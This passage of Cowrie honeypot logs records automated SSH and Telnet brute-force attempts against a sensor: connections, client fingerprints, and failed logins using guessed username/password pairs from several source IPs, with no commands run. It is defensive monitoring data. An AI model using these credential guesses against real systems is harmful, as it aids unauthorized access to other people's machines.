1","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:56:53.342039Z","src_ip":"109.172.54.111","session":"6ec3c724edc7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mitchell","message":"login attempt [root/mitchell] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:56:53.641202Z","src_ip":"109.172.54.111","session":"6ec3c724edc7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:56:54.756913Z","src_ip":"109.172.54.111","session":"6ec3c724edc7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"82.197.58.130","src_port":37944,"dst_ip":"159.203.135.109","dst_port":22,"session":"f60b8397996a","protocol":"ssh","message":"New connection: 82.197.58.130:37944 (159.203.135.109:22) [session: f60b8397996a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:57:50.547060Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:57:50.553074Z","src_ip":"82.197.58.130","session":"f60b8397996a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:57:50.707891Z","src_ip":"82.197.58.130","session":"f60b8397996a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1a2b3c","message":"login attempt [root/1a2b3c] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:57:51.345273Z","src_ip":"82.197.58.130","session":"f60b8397996a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:57:52.502488Z","src_ip":"82.197.58.130","session":"f60b8397996a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.41.152.180","src_port":58264,"dst_ip":"159.203.135.109","dst_port":22,"session":"088e2c8aa1cc","protocol":"ssh","message":"New connection: 31.41.152.180:58264 (159.203.135.109:22) [session: 088e2c8aa1cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:57:59.482885Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:57:59.488130Z","src_ip":"31.41.152.180","session":"088e2c8aa1cc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:57:59.600990Z","src_ip":"31.41.152.180","session":"088e2c8aa1cc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123456Aa!","message":"login attempt [ubuntu/123456Aa!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:58:00.082654Z","src_ip":"31.41.152.180","session":"088e2c8aa1cc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:58:01.200722Z","src_ip":"31.41.152.180","session":"088e2c8aa1cc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":42762,"dst_ip":"159.203.135.109","dst_port":22,"session":"c77dc44e0292","protocol":"ssh","message":"New connection: 51.250.105.222:42762 (159.203.135.109:22) [session: c77dc44e0292]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:58:13.331895Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:58:13.337550Z","src_ip":"51.250.105.222","session":"c77dc44e0292","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:58:13.465274Z","src_ip":"51.250.105.222","session":"c77dc44e0292","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:58:13.846471Z","src_ip":"51.250.105.222","session":"c77dc44e0292","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:58:14.975900Z","src_ip":"51.250.105.222","session":"c77dc44e0292","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.19.67.181","src_port":43408,"dst_ip":"10.17.0.5","dst_port":22,"session":"869291221ec0","protocol":"ssh","message":"New connection: 46.19.67.181:43408 (10.17.0.5:22) [session: 869291221ec0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:58:24.487193Z"}
{"eventid":"cowrie.session.connect","src_ip":"191.101.59.86","src_port":36024,"dst_ip":"159.203.135.109","dst_port":22,"session":"6da9fa214726","protocol":"ssh","message":"New connection: 191.101.59.86:36024 (159.203.135.109:22) [session: 6da9fa214726]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:58:40.881130Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:58:40.990383Z","src_ip":"191.101.59.86","session":"6da9fa214726","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:58:41.183529Z","src_ip":"191.101.59.86","session":"6da9fa214726","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nova","password":"123456","message":"login attempt [nova/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:58:41.703124Z","src_ip":"191.101.59.86","session":"6da9fa214726","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:58:43.074201Z","src_ip":"191.101.59.86","session":"6da9fa214726","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.233.85.71","src_port":36046,"dst_ip":"10.17.0.5","dst_port":22,"session":"4fdbe739429c","protocol":"ssh","message":"New connection: 37.233.85.71:36046 (10.17.0.5:22) [session: 4fdbe739429c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:59:06.798089Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:59:06.802854Z","src_ip":"37.233.85.71","session":"4fdbe739429c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:59:06.906167Z","src_ip":"37.233.85.71","session":"4fdbe739429c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"project","message":"login attempt [root/project] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:59:07.205996Z","src_ip":"37.233.85.71","session":"4fdbe739429c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:59:08.310081Z","src_ip":"37.233.85.71","session":"4fdbe739429c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.175.15","src_port":50210,"dst_ip":"10.17.0.5","dst_port":22,"session":"7afcbd64c602","protocol":"ssh","message":"New connection: 103.77.175.15:50210 (10.17.0.5:22) [session: 7afcbd64c602]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:59:16.030439Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:59:16.035458Z","src_ip":"103.77.175.15","session":"7afcbd64c602","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:59:16.291865Z","src_ip":"103.77.175.15","session":"7afcbd64c602","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"20081990","message":"login attempt [root/20081990] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:59:17.061185Z","src_ip":"103.77.175.15","session":"7afcbd64c602","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:59:18.320389Z","src_ip":"103.77.175.15","session":"7afcbd64c602","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"82.197.58.130","src_port":57724,"dst_ip":"159.203.135.109","dst_port":22,"session":"881aeed25936","protocol":"ssh","message":"New connection: 82.197.58.130:57724 (159.203.135.109:22) [session: 881aeed25936]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:59:19.857038Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:59:19.863524Z","src_ip":"82.197.58.130","session":"881aeed25936","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:59:20.025045Z","src_ip":"82.197.58.130","session":"881aeed25936","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"q1w2e3r4","message":"login attempt [user/q1w2e3r4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:59:20.677216Z","src_ip":"82.197.58.130","session":"881aeed25936","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:59:21.836416Z","src_ip":"82.197.58.130","session":"881aeed25936","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.41.152.180","src_port":37024,"dst_ip":"159.203.135.109","dst_port":22,"session":"37461460fa92","protocol":"ssh","message":"New connection: 31.41.152.180:37024 (159.203.135.109:22) [session: 37461460fa92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:59:51.200102Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:59:51.205275Z","src_ip":"31.41.152.180","session":"37461460fa92","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:59:51.319756Z","src_ip":"31.41.152.180","session":"37461460fa92","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Pa55w0rd","message":"login attempt [root/Pa55w0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:59:51.801197Z","src_ip":"31.41.152.180","session":"37461460fa92","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:59:52.917147Z","src_ip":"31.41.152.180","session":"37461460fa92","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"191.113.20.217","src_port":59053,"dst_ip":"159.203.135.109","dst_port":23,"session":"a914693737b0","protocol":"telnet","message":"New connection: 191.113.20.217:59053 (159.203.135.109:23) [session: a914693737b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:59:59.990344Z"}
